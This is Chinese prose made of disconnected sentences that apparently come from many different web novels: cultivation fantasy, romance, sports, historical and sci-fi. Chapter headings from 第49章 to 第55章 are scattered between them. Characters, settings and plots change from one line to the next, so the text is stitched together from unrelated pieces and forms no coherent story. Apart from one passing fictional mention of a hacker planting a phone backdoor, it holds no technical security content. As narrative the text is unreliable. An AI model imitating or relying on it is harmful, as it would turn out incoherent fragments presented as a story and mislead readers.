门打开,司机下车往路边的便利店走去,因为新娘忽然说想要喝水。 萧曦曦忙走过去要接。司徒雷焰不知道哪里來的怨气。命令道:“不许接。”最后一次。她居然还要在他面前接其他男人的电话。 第49章 ‘无所不能\’的伊莲娜小姐 “这混蛋,还在给我转弯子,谁不知道,你乐凡在背后捣鬼,没你同意,我能拆得了吗?”高升心中暗骂道。 在没有看到那些前,她不知道这份血脉的诅咒,是残酷到什么地步的残忍。 这起码也是好现象吧,至少他在和她交流了。夏琪把君谨言拉坐到自己的身边,开始兴致勃勃地解释起了她的设计意图。 老人一听见“狗”这个字,浑浊的眼睛里又泛出泪光,但还是强忍着,不似刚才。 张宁将长剑召唤回来握在手里与金丝猴展开近战,依靠娴熟的近战走位技术将那只金丝猴耍得团团转,所有攻击全都落空。而张宁手中的利剑却几乎剑剑到肉的不停劈刺在金丝猴身上。 她猜,蔷薇会追出来是因为刚才站得高看得远,发现不对劲所以跟过来了。 “哎,得找个时间将这件事情跟陈宁雪说一下了!毕竟有千日做贼的,哪有千日防贼的道理?”凌风摩挲着下巴想到。 而这万仙之阵,方才是他毕生至为骄傲之作。后世传说之中,他在诛仙剑阵被破之后,又率门人弟子布下此阵,可见在其心中,此阵犹要胜过诛仙剑阵,能使他在最后关头绝地反攻,不然又何必拿出? “没错老兄,二百年前的世界,没有人不知道本迪戈的名字。布布雷迪说话的神情让人误以为他来自那个时代,他的穿着也确实像个淘金工。 若是经过漫长的时间,早晚有一天树苗灵根会被灵魂光球彻底吞噬。 他的灵魂都被金无止剥掉一大半,只剩下其本身的人类部分保留下来,以后不再具备修炼资质,只能做一个普通人了。 待轩辕前去火云洞请一众先贤出世时,仲昊却是为了算计陆压,又一次的下了阴曹地府,此举不为别的,只为了见那巫族现在唯一有权掌事之人,也就是那至德后土平心娘娘。 若是修炼顺利的话,他甚至能在这个月之内突破10级的门槛,彻底迈入武者的路途之上。 “师姐!”仲昊见状顿时一惊,连忙搀扶住一旁面色煞白的云霄。 “你们以后出行尽量抱团,千万不要落单,他们人族修士也有渡劫的家伙,以后相处时态度尽量缓和一些。”身影消失后,声音又缭绕而至。 学生们正直青春时期,最容易冲动,虽说被激起血性,可行为有些可笑了,沉稳的老师们又是另一番样子。 吴帝朝上面招了招手,表示没有影响,继续往前走,不远处就是那条人造河,里面饲养着不少鱼,它们早晚会进到大棕熊到肚子里。 这帮人闹哄哄的,还有直接在这里吸烟的,整个楼道里面都让他们搞得乱七八糟的。 “唉,现在就看本尊那里给不给力了。”洞泉长叹一声,此时又有六难之人上门,喊了声歹命,急忙忙去就诊。 韩瑶就这么哭着哭着人就又睡着了,韩兆见状赶紧将韩瑶抱回房间上的床上睡着了,还去卫生间里将毛巾沾湿,轻轻地给韩瑶擦拭着脸上的眼泪。 当这几人走近时,林东和刘静一眼就认出了其中的两人——王浩丞和张老。 那半透明的界面有点妨碍视线,宁晨用力眨了一下眼,界面立即消失了。 林蔓没有继续再追问,不管什么原因,起因还是因为她亲妈多管闲事造成的。 众人好不容易走出山洞晒太阳,恨不得把自己当成咸鱼,正面反面都晒得焦香焦香。 在进行了开场白介绍之后,又说了拍卖场的规矩,一切全凭眼力,确定之后再拍,交易之后,概不负责。 “还不把凳子放下!”孟涛上前抢过我手里的凳子,又连连给宋之宏道歉。 她以前觉得那是因为她没有安全感,需要不断地跟沈确确认,才知道他不会离开自己。 “跟老兄你透个实情。童贯被武松杀死后,他手下的好几个肥差一直空缺。只要高某肯发力,你老兄和你手下兄弟一定都能坐上个好位子……”高俅信誓旦旦的拉紧陈希真的手,朗声道。 敖广将敖风刚才跟他说过的话给三个兄弟复述了一遍,三人没有任何二话,立马表示坚决跟着龙皇走,只要能复兴龙族,他们不惜一切代价。 脑袋发热的陈默被泼了盆冷水,冷冰冰的,白已冬和他的差距大到无法想象。 “当然!”张屹起身学者美国人豪迈,给乔布斯来了一个男人之间热情拥抱后,用力双手拍了拍乔布斯双臂说着:“乔,不用担心,华国有句民间谚语,车到山前必有路,船到桥头自然直。 二人本来还以为岳冲没那么大面子给请到安神医,岂料他在大梁国竟然是手眼通天的存在,皇帝这般器重,喜欢他,岳冲刚一提到治病之事,梁帝立时允准。 加上此前击败拜仁慕尼黑获得的德国足协杯冠军,霍芬海姆在本赛季完成了联赛、杯赛的双冠王成就。 白已冬留在圣奥拉夫中心投了几百个球,觉得没劲,也找个理由走了。 所以话说自己上辈子长不高,是不是根子就出在幼年喂养不当上? 曹斌知道郑市长这汇报,不至是汇报张屹在宝安投资七十亿成立汽车制造代工厂。 这名壮硕的斯拉夫人闻言,伸手一把搂过艾娃,大刺刺地瞪着乔治,好似根本没有将其放在眼里。 按照目前的进度,估计我不眠不休,接下来一整年都不干别的,只在这开脉,恐怕也就只能开一半左右的进度。 苏意闻了闻自己身上的味道,确实有些一眼难尽,跟着一起往回走。 终于,何苗的眼神从迷茫变成了清明,紧接着向后一步,朝着刘协恭恭敬敬施了一礼。 第50章 普罗旺斯速度 接州李昼寿暂时虽无异动,但是朝廷不会不用他们,他们也不会坐失良机,这也是埋在我们腹心的一颗钉子。 木的手影连连挥动,伴随着四道血泉喷涌而出,阿月半灵能化的身体已经被切开了四肢。就算半灵能化后以复制雷兵加固的身体,也根本挡不住木的殖装下,那足以切割分子的斩击。 青龙古松巨大的身躯狠狠拍击齐玄易的凝聚的防御罡气,禅定古藤也不断缠住齐玄易的防御,将众人彻底笼罩住,那无数的松针透过密密麻麻的缝隙不断冲击防御,一点一点撕裂齐玄易凝聚出来的力量。 这可怕的风暴正是由那血色的魔花酝酿而生,不断扩张,像是真正的黑洞,从天穹往下,这黑洞似真的能够将五百丈身躯的秦问天吞噬掉来,极为恐怖。 诸人纷纷开口,眼中对秦问天只有尊敬,且不说秦问天的实力,他为诸人而战的品性,就足以让他们敬重,不然秦问天哪里需要这般卖命而战,甚至不惜疯狂,发挥出惊天动地的威能,将东圣仙门的强者血洗干净。 “哈哈,诸位追赶我这么久,还不是未能斩杀我,看来此物与我有缘。”齐玄易已经没有退路,妖族的修士势必要在此地斩杀自己。他虽然能力战,可五人联手,他绝对是半点好处都捞不到。 虽然不断在深山中转换位置,但他们停留在这里的时间已经太久了,越来越多的人追了上来。何况这里本就是深山,深山里自然会有无数动物。 而顾弦老兵们也看出是不输给顾飞的狠角,但毕竟他们的首要使命就是对付顾飞,不相干的人他们并不想多生事端,所以攻击的重心没放在顾弦身上,开山斧过去主动招呼,其他人就没再帮什么忙了。 杨浩来到新建的百嬉楼内,一楼就是一个极大的穹顶剧场,前方是一个宽敞的舞台,而台下却不是整齐的椅子,而是桌椅的配搭,这时的人不管是听曲还是看戏,总要吃吃喝喝的,不可能让他们规规矩矩地坐在那儿。 夜落讫大汗盘膝坐在白熊皮的王座上,双目似阖非阖,始终一言不。 “胡杏儿,怎么是你?你不是随着李管家一起去蓬莱仙岛了吗?这修罗刹怎会是你的姑姑?”魔礼红心中疑惑,一连问了好几个问题。 “你我夫妻二人,同体一心,共享共担,还讲这许多虚礼做什么。”卿睿扬轻轻的摸着云霜的脊背,提防着她有个一二。 白赫皱着眉头,考虑到他们的身份,不得以只得浪费真气帮助他们压制体内的音波。 然而埃尔法老师并没有那么做,他突然举起了手中的一件东西,这让艾尔和米歇尔同时大吃一惊。 无数剑气冲向敖晴舞,划开了她的皮肤,在她身上留下了一道道血口子,接着敖晴舞也无力抵挡身后的风刃,风刃重重的撞击在敖晴舞身上。 南宫月就在他身旁,自那晚之后,他在的地方,南宫月就在,南宫月在的地方,他也一定在。 “我是你抢过来,被迫来的,不是自愿的。”他是有底线的人,说什么也不可以干有违君子之事。 顾陵歌的身体素质还算是不错,所以睡得很沉,以至于卿睿凡脖子都弯疼了也没见顾陵歌醒过来。传来蓝衣悠悠的用了膳,外面已经是黑压压一片了。顾陵歌大约在申时醒来,看着卿睿凡就是一个猛扑。 “太好了!太好了!你终于答应我了!哈哈哈!”柳无痕抱紧无茗,无法控制心中的喜悦。无茗只好无奈的拍拍他的后背。 “爹,生个火至于走那么远吗?”林晓黎看着林媚娩慢慢消失的身影,问道。 虽然百里玄策提前阵亡在五千年队的预料之外,但是这个时候的局势是4打4,只要五千年队集火优先秒掉一个狂战战队的英雄,局势就还在可控范围之内。 这让他想赢下比赛,要知道他为了和克洛泽碰面的一天,特意练习了简单的德语自我介绍,只不过没又想到这么早。 木子正处于烦闷中,并没察觉到什么,只是想赶紧到前方的酒楼里休息。 干青山眼中喷涌着怒火,双拳紧握“咔咔”作响,要不是担心浪费那位爷的时间,他完全不介意掌毙了面前这狂妄之徒。 苏浅川知道尹承纵不过是安慰自己罢了,不过她也不能表现的太脆弱,她必须得坚强起来,这样才能和警局一起救出苏浅析来。 叶辰也觉得老爸说的不无道理,可是叶辰早就把林雪列入了醋坛子的行列,就怕今天吴尘再言语挑衅一番林雪,到时候可就真的要火星撞地球了。 第51章 幸福其实很简单 选择购买机器人生产线,一方面可以生产机器人,在宇宙交易系统上出售。 天枢刚刚踏上最后一层台阶,右边的老头忽然动了动,从鼻孔里含糊不清的说出了这么一句话,然后翻个身子睡在地上。 其他人不解,万兽却是冷着脸,再次冲上来,拳头缠绕着黑芒,堪比圣器。 而就在宋游灭掉丁春秋的不久之后,中原武林却是掀起了一股滔天狂澜。 金刚堂的大殿有好几个二阶禁制,宋游没办法法悄悄潜入,随意从空间中拿出些许吃食,他在院内也不准备离开。 众人的电筒灯光照射过去,原来是个身穿户外休闲装的大男生,而且还是个熟人。 大鼠也没有因为龙渊受伤而停止对他的训练,依旧给他上了刑具。 “嘶……”龙渊落地后顿时感觉自己右边的身体如同被撕裂了一般,这是用力过度的反应。这种疼痛不由得让龙渊咧开了嘴。 蒋欣然现在被李卓放权完全可以自由操作的资金,如果折合成美元的话达到两百亿以上,这恐怖的资金想要一天内全部暴力收购的话,估计很难完成。 但她想说的话还没有说完,墨大人就已经消失不见。自然,连带着这豪宅也消失不见。而就在此时,这一幅水墨水变成一道亮光直射而如她脑门。 胖子没有在意那些护士在说什么,出了电梯左右看了看,找到VIP3病房的方向后迈步走了过去。 一路上,不断能碰到仙人惊慌逃窜,空中流光溢彩,均是仙人离去的痕迹,只是此时天道界通往天庭的通道已经被夕的成员毁去,也不知道他们有没有其他办法离开。 江流不敢想下去,满桌的饭菜自然也吃不下去。她出神半晌,蓦地里伸出手来,拍拍拍拍,打了自己四个耳光。“不行,我一定要想办法把她救出来。”他暗暗下定决心。 黄薇哪肯停下,反而杀招尽起,只想将林言斩于剑下。林言一下疏忽,后背上已被划了一剑,鲜血淋漓。他立时大怒,欺身上前,一把抓住黄薇手臂,内力即刻透体而入。 郑月总算松了一口气,这样一来还算正常。连接点需要修为支撑,却不是每台设备都需要修为支撑。比如说连接点主动发起的邀请,将他们拉入到直播间的过程,不需要他付出修为。 十几息之后,刘静宇看到路上有着血迹,而后便看大一直蛮鹿,但两只犄角已然不见了。这时候,岂能不知道四只蛮鹿的犄角被那钻空子之人割下。 “少废话,细细说来!”狗大户少年人可能不习惯这种断章,急忙说道。 哪怕只是放大一管生命药剂,狄洛斯都可以从中获取海量的能量来补全自身元气不足的短板。 而且这一段时间,彼此将后背交给对方,他们之间的感情也远远不是刚刚进入试炼界之时可以比拟的了。 就在这时,彼得口袋里的手机忽然响了起来。在这宁静之中,它单调的铃声在此时却是显得如此的诡异。 作为黑客,只要你能将黑入对方的手机,并装上后门程序,拿到别人的手机权限,自然也就是赢了。 “今日一早醒来的时候就突然有了动静,产婆已经进去了,说才有了一点动静,怕是还需要两个时辰!”丫鬟言简意赅的说明情况。 若是所料不错的话,黑衣人手里至少都有两枚,至于剩下的两枚,那就不知道在谁的手里了。 “见过郡主,郡主您来的正好,我们家郡主还正念叨您呢!”才进了院子,就看到陆妙贤身边的大丫鬟过来笑着跟华锦行礼。 之前陈纪就猜测可能会有治理沙滩的任务,特意详细的查询过相关的资料,治理沙滩和装修一样,真的没有预算上限。 他们自身的实力毕竟还是弱了一些,那里经得住神阶黑暗生物的攻势,几乎是惨死了大半。 崇祯三年八月二十一日,蔚州城以南五十里,古北口以西三十里处。 旅游公司的10个亿都已经有相关的项目,不过大部分的资金还是用在购买船只上,大量各种各样的帆船、游艇被购买来充当娱乐项目,另外还有一艘大油轮。 窗帘猎猎,茶杯滚落,在座众人有一瞬间眼花,好像这个老头身上,出现了一条龙的虚影,直冲而上,没入天花板消失不见。 “你看,你看,一天三通电话,真是沒法活了。”王帅苦着脸去接电话。 “可你又怎么保证十年后政府收回的不是一个烂摊子。”年柏杨问。 鱼肠被誉为勇绝之剑,久誉盛名,楚天阔最初也不敢相信,毕竟千年之剑现在突然出现,但是确认了它的坚韧锋利后,楚天阔也不得不相信了。 第52章 无法拒绝的需求【求追读】 “嗷……”看到古默默发火,陈安挠了挠头就朝着叶子晨的方向跑。 本来想着自己亲自来请陈阳,已经够给面子,没想到对方不止没有给面子,反而给自己两个耳光。 白语和花间柔都跟着摇头,叶子晨摸了摸自己的后脑勺,旋即奋力的推开周围的木板。 “好吧,那我把舅舅也叫出来。”欧立东这么长时间和那个有些古怪,以前总欺负他的舅舅相处得也很好了。 这一点,顾轻轻还真不知道,她以为夜里下大雨,所有的守备都会放松。 “安安,对不起,雅雅她不是故意的。”慕瑾瑜推着苏雅,让苏雅同苏安安道歉。 更别说他长得高大英俊,和慕慎容是完全不同的类型,但是一身正气,看一眼就给人十分的安全感。 平时狱警不作威作福……单纯就是考虑到,这些人出狱之后,如果在监狱中做的太过,很有可能出去之后会找到他们。 “答应就答应,不答应就不答应。你们赶紧做决定。”常兴说道。 俞贝贝坐牢后,桑老夫人是第一个去看她的人,每一个月都会给她汇钱。 温竹卿转身看去,就见不远处一黑衣男子带着一个年纪稍大的男人,背上还背着药箱,看那样子,应当是大夫。 苏瑜看着热季里总是吃不完的食物,不知怎么的,就总想着提前为寒季做准备,多储存些食物。 房东面对走在前方的大人物,面对气场强大的压迫感步步逼近,忍不住一哆嗦。 “别他妈废话了,把猎隼哥给我治好,至少让它先醒过来,等会有大用。”秃狼着急道。 剩下的渣渣,苏瑜打算晚食的时候加个咯咯毛兽蛋清,尝试着煎个饼。 3比1,白鹿巷迎来了一场激动人心的逆转,白百何在联盟杯的征程又向前迈进了一步。 让沈重也是无比头痛,那一道无上灵火,如今十分狂暴,隐隐有冲破丹道神塔压制的迹象。 苏青惊喜的看着许仙儿,终于把这么困难的许仙儿攻克,内心的喜悦无法用语言形容。 巨木傀儡的实力,他是非常清楚的,竟然在这瞬间就被击溃,前面到底是什么存在,竟然如此可怕。 持续三百多年的远征,铁与血的洗礼早已将乐翼的意志锤炼成精铁。 可偏偏昨天晚上,两人有了身与心的贴切交流之后,他能感觉到他的身体受到了一股滋润。 那束定着凯里的光芒上浮现出了一朵花朵出来,那是构成凯里身体的基本单位。 夏繁星和厉苍穹走进房间,一瞬间就闻到一股浓郁的中药的味道。 白天在学校里上课,倒是不用欧一诺补课了,可是人家也帮了自己那么多,想着以后请她去吃顿饭好了。 主持人一直带着耳麦,他自然也是被同事告之了夏繁星的真实身份。 虽然他们认为这个唐阳可能是假的,可是却又不能直接这么怀疑。 “你来之前我已经联系过她了,埃达斯院士表示,只要为阿萨的未来,她可以放弃一切,哪怕没了与灵的纸面关系也没问题。 干完了南天门的活儿后,叶龙又接到指令,还有天王殿要打扫。 胡三暗想:一颗舍利子都价值连城,起码值几百万,几千万元,什么避邪、镇馆,分明都是糊弄人,何况是六颗,谁不想据为己有? “啸天大哥,你打算找到酒诗仙人后该怎么做。”阿霞边喝茶边说。 “是。”春水规规矩矩的坐下。正好,他也想知道她都能讲些什么。 那么,宋雅竹的病情到底怎么样?先前医生说孩子“暂时保住了”,现在又为何病情急转,生命垂危呢?到底发生了什么? 因为她和殷时修都坚信他们之间不会存在所谓的七年之痒,要痒也是痒别人。 宋雅竹看着曾秋云胸有成竹的样子,不由放下了心中的担心,专心致志地画起了海报。 鞠大夫早就知道殿下已经醒了。只是这药也不急着马上喝下去,哪儿能影响到殿下和娘娘你侬我侬呢? 当时,他因为受安公的刺激而心情不好,说了糊话,她可以谅解,那么这一次呢? 鬼雕满脸阴沉,随后心有不甘的舍弃了厉玄,就欲和炽血联手将萧炎二人抓走。 这对一直奔走于复国梦想的锦葵来说,该是多么强大的真正的支持? 这种事对于以前的她来说,是肮脏的。肮脏到她连想都不愿意去想。 想到这里,她压住脑中的杂念。心里暗道:无论发生了什么,任务才是第一位。 因此意大利官方就算是累死了都不可能面面俱到,也根本就管不过来。 再加上那本来就是临近地震带,一旦发生连锁反应的话,谁能够测得准? “行,马上就来。”服务员正了正头上的方帽子,穿过大厅向后厨走去。 苏楠想到乔布的逆天运气,乐颠颠的就跟着乔布上路了,乔布还欠她10万块灵石,这路上要是捡到了什么宝,少不得要让她先挑。 许多问题全都积压在那,所以导致陈青川需要在最短的时间里,将我所有留下的问题全都去处理完毕,很难说,我的接手,对富安没有影响。 “妹妹,我给你买了一条裙子,不知道你喜不喜欢。”赵铭笑着说道。 “原谅我,好么?以后再也不会这样对你。”秦宏紧紧拉住陈盈试图抽回去的手,“我脑子一热,我真的不该——”他扬起另一只手做出要打自己的样子。陈盈抓住了那只悬在空中的手。 只见萧煜就像一块滑板,陈锐推着他在草地上滑行,萧煜的脸在灵力的保护下如同一块硬铁,将地面上的草都连根铲起,拖出一道深深的沟壑。 他们也不知道这种话说过多少次了,可是眼前的景象也只能这么表达。 不过,此时,谁也没有动,而是都以一种难以置信的神情看着莫依然。 第53章 特种兵之行【求追读】 这标志着,他彻底的从一个七丹炼丹师,跨入到了八丹炼丹师来。 碧青空果然是厉害只记得仍无,看到如此空的攻击,脸色不变,同样生抽手掌,向着吴廷也一拳轰了过来。 这并不是赵敬东感觉到了害怕,而是他在担忧着事情可能会有的后果。 今天一天对她來说是惊险的一天,也是惊喜的一天。她的孩子遇到了危险,但她最爱的男人救了他们的孩子,这是惊险也是惊喜。 那天,她就察觉到了两人关系的不寻常,只是,那日她满心的伤痛与愤怒,无暇顾及其他。今日一见,心里更加肯定了不少。 “呵呵,你们先休息一下吧,这里‘交’给我来处理!”独孤鸣听着天空中罗毅的话,他不由的低头看了看怀中两个可爱的人儿。 感觉到身下有什么东西抵着自己,白冉冉笑的更坏,她故意动了动PP,蹭了蹭蓝颜风,蓝颜风立刻倒抽了口冷气。 独孤鸣站在原地没有动,他对着神火分身努了努嘴,随即分身立即朝着尼古拉傲冲去。 恍然大悟过后,独孤鸣的脸色却是一沉,拍卖会的东西是有能者买之,难道不成她是因为这个恼怒了? 朱颜顿时明白,那被司马元拍碎的男子,溅出来的鲜血,为何这么厉害了,原来是尸毒。 当她视线看到一个额头上沾满血迹的白皙中年人时,顿时长舒一口气。 正在灿烂微笑的秦雨柔忍不住身体一僵,瞥了一眼旁边看着的江凤兰,雪白的脖颈处悄悄浮现出一抹红晕。 看着竹老六呲牙咧嘴一副讨饶的模样,孟起隐隐约约听到二人说什么公粮,任务什么的,不紧打了个哆嗦。 两人激吻了十分钟,高庆的身体向后仰去,高庆不明所以,呆呆的看着蓝蓝,蓝蓝的脸庞比刚才更加的红润,低着头一言不语,两只手拉着衣角。 薛弘轩看着眉头深锁的老大,有点头疼,只能硬着头皮继续说道:“直到半年前,我们觉得情况不对,你们母亲的修炼进度太慢了,所以我们就找了主管,随后在他帮忙联系的元婴期修士的探查下,发现还是早产体弱的问题。 龙千行瞬间反应过来,连忙扶起雷辰,发现他的双手果真被手铐铐住,正想寻找钥匙的时候,却听到轰的一声闷响,扭头望去,发现是沈岚出现在了大厦的顶层。 瞬间,一个晶莹剔透的白色球体出现在蓝多多掌心,无时无刻不散发着光芒。缓缓升空,射出银色光线,直奔金发男子。 这一次苍云听到青崖说对方愿意拿出一颗黄泉果,简直就不敢相信青崖怎么会和对方有联系! 薛怀瑾先不急着取奖励,先仔细观察了一遍法宝级灵剑有什么不一样的地方? 叶晚晚从浴室里出来就看见了躺在床上的沈屹,脚下步伐猛地一顿,心底涌上几分慌乱。 想通了以后,郑柔决定继续对他好,照顾好他,而且要和他一起把晓若姐找到,到时候再让他考虑选择谁。 这样的主子……他居然是现在才看清,围绕着赫连锐绝的人,要么九死一生,要么长埋地下,怕是没有第三种结果了,赫连锐绝行事,不一向如此吗。 出窍级别的超级强者的全力一击,跨越两大境界,的确不是这么好接的。 想到这里的高庆走下床,穿好衣服鞋子,手里依旧拿着拖把,以备不时之需,向房门靠近,一步,两步,三步。 刘雨霏原本还在想该怎么应对孟起的诘问,可没想到孟起回来后一句话也没有问,只顾着和刘玉嬉闹,刘玉银铃一般的笑声就没有停过。 陆游一眼就看出,杜神将虽然是渡劫境的修行者,不过要比一般渡劫境的修行者强大几分,是有很大概率渡过三九天劫的。 “太好了,就是他。”一看这里的情形,唐啸嵩也是高兴了起来,当即就要去取出那菱形的能量石,只要取出能量石,这“生门”就会失去能量支持,结界上方就会露出一个空隙出来。 这里是比特星,是宇宙内最美的一个星球。远远的就看见那天堂的阶梯般的宫殿,而在这宫殿的左侧。单独建立着一个橘色的宫殿,一位身穿银色衣装,蓝色头发的少年缓缓走了进去。 都说他们是雇佣兵,是杀手,他们不怕死。其实又有几个是不怕死的,只不过他们没有经历过真正的死亡威胁,或者他们在威胁来临之前已经被杀掉了。 面前的宫殿,他并不着急,就算宫殿中有什么机缘,若是被进去的人轻易得到,说明那机缘也并不怎么样。 “我在一片沙漠上,他们说这里,是西北剑宗孤世家。”钟梅的声音说道。 “什么…首长,您退休了?”叶牧刚刚就感觉到不对,却没有想到,事情这么严重。 看看这颗石蛋表面,密密麻麻的黑色鳞片,看着像是龙鳞,不用看都知道是个了不得的东西。 柳菲葉晚上也没怎么吃饭,正觉得肚子饿,走到餐桌一看,满满一桌子菜,甚至还放了一瓶冰镇的红酒。 “求你,别杀它,你要什么我都可以给你。”千鹭怕了,开口求饶,梨花带雨的楚楚可怜。 从杜有田的脸上,赵铁虎看不出对方是在奉承自己,那想来对方说的应该是事实。可想到旁边这八具伪军尸体,赵铁虎觉得要给对方想个好借口才行。 很多人激动的热泪盈眶,他们心中全都发誓,今后他们便是誓死效忠大秦王庭,生是大秦人,死是大秦鬼。 现在时间已经不多了,舒烽把自己体内的力量聚集丹海之中。慢慢运输到自己的身体的四周,力量牵引把王劼的身体给扶了起来,看着王劼的背后,直接就是一掌打上去,内力推入了王劼的体内,王劼的身子猛然往前面一突。 第54章 筛选 三皇子他听闻此话,眉头紧紧的皱了起来,陷入到了沉默当中了。 “你们都该死!你们活该!都是你们的错!都是你们的错!”男孩一步步逼近,黑暗完全遮住了我的双眼。 事实证明,凯西的决策是正确的。因为在凯西他们刚出门没多久,整栋楼就倒塌了一半。要是他们没出来,恐怕就要被埋在里面了。 陈伟不止一次的跟妈妈解释过了,那些流言蜚语,做不得真,他知道柳洁根本不是那样的人。 “好!”张翠山一口答应了下来,然后也不待胡哥回话就挂掉了电话。 秦远咧了咧嘴,一脸的腻歪,本以为真遇到了隐世高人,于这青山绿水中参悟佛法之高僧大德,却是没有想到,也是一个骗子,而且骗术相当高明。 赵康跟着孟捷来到外面,两人没有多说什么,大家都知道这里不太适合说比较秘密的事情。 他们赶紧起身走去,同时也警惕地看着贺连城,尤其是当楚汉看到踩在贺连城脚下那双鳄鱼牌尖头皮鞋,以及那熟悉至极的鞋底纹理时,目光愈发的寒冷。 吴浩一上来就开启了武器的反击风暴,水生兽的攻击就这样全部落空了。吴浩手中的暴风大剑,却是无情的砍向了身边的水生兽。 陈伟咬着刘维娜的耳朵,在她耳边说着情话,刘维娜的身体都要酥了。 五哥怒吼一声,双掌连出,劈天掌力弥漫成一片光影,想要将这石龙击溃。 公司倒是对万灵村亲耐,毕竟是示范基地,政策优惠肯定和其他地方不是一个等级的。 纪然制作的微电影,又不是用来赚钱的大制作,而是想要证明自己的能力,仅给一点基础的宣传,看看它能到一个怎么样的高度,那样才能让企鹅影业的齐金源,以及更多的人信服。 雨太大了,打伞根本就不管用,聂千云身上的衣服几乎都浇湿了。虽然邢烈穿着雨衣,但他还是感觉出来了。只能把雨衣脱下了,给聂千云穿上。 玲珑空间内,一杆魔修调息修炼。羿花楹观察外面,苍梧山上四宗派遣的守卫人员又减了两层。 诸天万界,一代枭雄,巨人的目光从叶子的身上离开,两颗太阳般的眼睛看向远处,目光所到之处诸天万界没有任何秘密可以隐藏。 “刘辉继续说道:“搞定她,我们就成为了同一个战壕的兄弟,以后你们就是我的好兄弟,今天的事情就当做没有发生过,包括你现在!”刘辉这个被拉住的手臂。 迷雾之下,他的双眼通红一片,令他获得了暂时看穿迷雾的能力。长时间使用“真实之眼”对于身体的负担极大,但除此之外,他也别无他法了。 至于打倒谷口的那条恶龙,纵然是高欢可以借助流星的力量来发挥出超越自己品阶的魔法,但是这点伎俩还远不能给那条恶龙造成伤害。 灯光下,乔姗只穿着睡袍,光着脚踩在地板,身体随着音乐的节奏轻轻地晃动着。 在这一瞬间,李自成给予肯定的回复之后,众人为徐正明高兴与欢呼之时,李自成的脑海里不禁浮现出了穿越前、上学时的记忆,关于飞机飞行的原理,物理老师用一张纸演示。 “大不了我跟祁家决裂,我就不信没了祁家我还活不下去!”祁旭尧烦恼得有些破罐破摔了。 说这话之时,郑鸿奎故作凝重之色,心中却是一动,为之一喜,知道郑成功接下来要说什么,央求的又是什么。 她的脸唰就红了,头顶上好像在往上冒蒸汽,不知道想到了什么少儿不宜的东西。 “呵……我做什么了我?你不分青红皂白就责骂,你有证据吗?”即便是明白自己踩到祁致远的底线,祁太太始终不肯低头认输。 “欢迎湖人新的中锋,安东尼-戴维斯。”李青提高了声音大喊道。 李青不再犹豫,穿着古代长袍和靴子,把过肩的长发扎了条辫子,拿着一把折扇走上了舞台。 夜云天本来就是假扮医生来照顾玲珑的,万一被警卫发现就麻烦了。 掌力已出,本来灵力停滞的云是、洛敏风二人竟如有神助一般,“嗖”一声,突然闪开了。 “没什么!没什么!”离天忙一正脸色,努力作出一副严肃的样子。神枫平时没什么架子,可名义上毕竟是师叔,他可不敢太过放肆!虽然他很想调侃神枫几句,但也只能在心中想想。 “连你聚元期的修为都完全不能抵抗吗?看来确实是个高手!”弧星摸着下巴沉思起来。 跟在红叶后面,一路走到停车场,红叶开出了一辆ru白sè的宝马,看得慕容姗姗眼红的不得了,吵着回苏州的时候自己也要买一辆。 兰溪先是羞极,到后来却笑得肚子都疼了,这个撰稿人大概是史上实在前无古人后无来者的第一才子,他实在太有才太有爱了,兰溪发誓一定要见他一面好好请教。 “就算这把刀不简单,但它已经生锈成这样,根本没有任何的用处了!”无法反驳西蒙的亚历找了一个理由,即便知道面前这个年轻人似乎想要买下刀,语气也没有请求的意味。 第55章 不要惹喝过酒的女人 如此一来哪还不知道这只是个幌子,当下立即御空向那逃跑的男子追去。 有了给曲东疗毒的先例,石鸿的治疗就变得比较简单,不到半个时辰,石鸿就呕出毒血醒转过来,将在场的十几位医者惊得目瞪口呆。 再加上她之前名声本来就很臭,这种流言出来信的人还是占了大部分。 那个一直被人仰望的男人,这此时此刻安排人马为她送来大批黄金,她心里最先涌现的想法,却不是感动而是狐疑。 温凉的液体划过唇舌,两位老人一口一口的饮下,原本想要浅尝辄止,最后却不自觉的饮尽。 带了金银细软和换洗的衣裳,如此一来,倒真就如松儿所说,唐玉泉是逃了。 她离开公主一会儿,回来就看见公主被三皇子扯开衣服,然后公主用头上的发簪情急之下杀了三皇子。 不过她不是个情绪外露的人,对自己的魅力还是有信心的,臣规不至于瞎了看上她。 苏沐瑶抬起眸子,右手换了个方向,直接用力,挑断了宓晨的经穴。 时光流转,当初被天劫摧残的不毛之地,如今恢复过来,植被茂盛,绿意盎然,而地精族长的残念,也坚持不了多久了。 “也是偶然得知,那时候你的生意还不像现在这么大。”纪玄清似是而非的说道。 我的工作就是鉴定网络信息,像这种网络谣言,已经被删了词条了。 说真的,到今天他还真的是第一次听见有人跟他边覃晓说,没有看上他。 廖兮目光淡然,双手扶于背后,身上披着一套闪闪发光的银光铠甲,旁边的九天龙魂贯之上闪耀着异样的光芒,暗色的模样带着萧然之肃杀之气。 士兵看着廖兮,双眼赤红,激动无比的看着廖兮,口中却是廖兮方才所唱之歌声,看着士兵将士表情,廖兮微微一笑,却是忍不住眼睛处的一丝泪痕。 付岚见状,有些慌了神,手足无措间,程立赶紧给程雪施了个安神诀,程雪这才停止抽搐,呼吸声渐渐平稳下来。 敌军看着视死如归的军队,心中倒是感觉奇怪了,不过他们是绝对优势,而且他们也是强大而且精锐的士兵,他们又怎么会惧怕吗?他们提起手中的武器,如同潮水一般,把那十万大军包围了。 “你看这两座钟楼,西北方向的是教堂专用钟,西南角那里吊着一口17吨重的大铜钟,没人见到过它被敲响过,据说是发生具有历史意义的大事时,才会响。”亚恒看着教堂正面的一对对称的钟楼,和苏杭说道。 楚轻寒的话都说到这种程度了,那毋庸置疑,她和楚轻寒的推测,可以说是几乎没有任何的纰漏了。 还不等流年将话说完,随即连城翊遥便打断了她的话,紧接着,一副很是认真严肃的表情。 这样看来,那位的到来,慕谦是早就知道的,否则也不会来这么一手,难道那位真的跟慕谦有关系不成? 这时候,白玲玲才转过身去,在不远处的迷雾中,竟是有着四五十个幻影战士,这些幻影战士明显比刚才的那个还要高大很大,有着两丈高,手臂和大腿都粗壮无比,一看就力量很强。 白球球却懒得再跟她解释,而是直接抓过她的手指咬破,然后也咬破了自己的爪子,两人血液相容,瞬间在两人的脚底下亮起了一个巨大的五星芒纹,片刻之后亮光收敛,契约成。 这一次龙家的人让龙源娶王琳,实际上是怀着目的的,这个目的也只有龙源以及龙家的一些人知道。 竞技场的画面也在此刻逐渐崩坏,一片一片的开始掉落、从我的脑海中脱落,就像是一片破碎掉镜子一般,消失的无影无踪。 